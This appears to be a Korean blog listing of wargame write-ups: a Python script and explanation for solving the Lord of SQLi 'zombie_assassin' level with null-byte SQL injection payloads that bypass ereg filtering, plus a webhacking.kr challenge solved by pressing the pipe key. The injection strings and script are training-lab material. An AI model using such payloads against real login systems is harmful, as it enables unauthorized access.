LOS :: 16번 ZOMBIE_ASSASSIN WRITE UP 1234567891011import requests url = "http://los.rubiya.kr/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php"session = {'PHPSESSID':'MY_SESSION'}data = {'id':"admin", 'pw':"a"+chr(0)+"'||1#"} res = requests.get(url, params=data, cookies = session) if "Clear!" in res.text: print("[♪] ZOMBIE_ASSASSIN Clear!") Colored by Color Scriptercs Wargame/LOS(rubiya) 7년 전
[LOS]16번 zombie_assassin 으 징그럽다 좀비가된 어쎄신이다..... 빠르게 눌러버자 꽈악 막힌느낌이다. 다행인건 ereg함수를 통해 필터링하고 있다는 점이다. 저번에 친구와 여러 이야기를 나누다가 ereg 취약점에 대한 이야기가 스쳐지나갔었는데 그날 찾아본 바로는 ereg함수는 NULL까지만 검사를 한다고 했다. 즉, NULL 뒤에는 필터링을 하지 않는다는 것이다 %admin' or id='admin' --%20 이렇게 인젝션을 하자 풀렸다. 밑의 쿼리를 보면 알겠지만 null을 넣어도 admin이 되어버리는데 굳이 id=admin을 한번 더 넣어줬는지 의문이 들 수 있다. 그 이유는 NULL이 여기서는 하나의 인덱스를 가지고있기 때문이다. 그렇기 때문에 실제로 크기를 출력해보면 %00admin => 6글자 admin => 5글자.. Wargame/LOS(eagle-jump) 8년 전
[Webhacking.kr]16번 16번을 클릭하면 나오는 페이지다. 큰 별 하나와 작은별이 있다. 키보드 아무키나 누르면 하나씩 추가되며 마우스를 올리면 해당 별이 사라진다. 먼저 소스코드를 보면 아래와 같다. body 선언부분을 보면 키보드의 키를 누르면 mv함수를 키보드로 입력받은 값인 event.keyCode를 인자로 실행하는것을 알 수 있다. mv함수를 보면 cd를 파라미터로 받아 검사하는것을 볼 수 있다.수상한 부분이 17번째줄에 location.hreef이다. 페이지를 이동하는데 그 조건을 맞추기 위해선 124에 해당하는 키를 눌러야한다.아스키코드를 보면 124는 파이프( | )임을 알 수 있다. 실제로 파이프를 눌러보니 아래와 같은 페이지가 뜬다. 물론 키값과 함께. Wargame/webhacking.kr 8년 전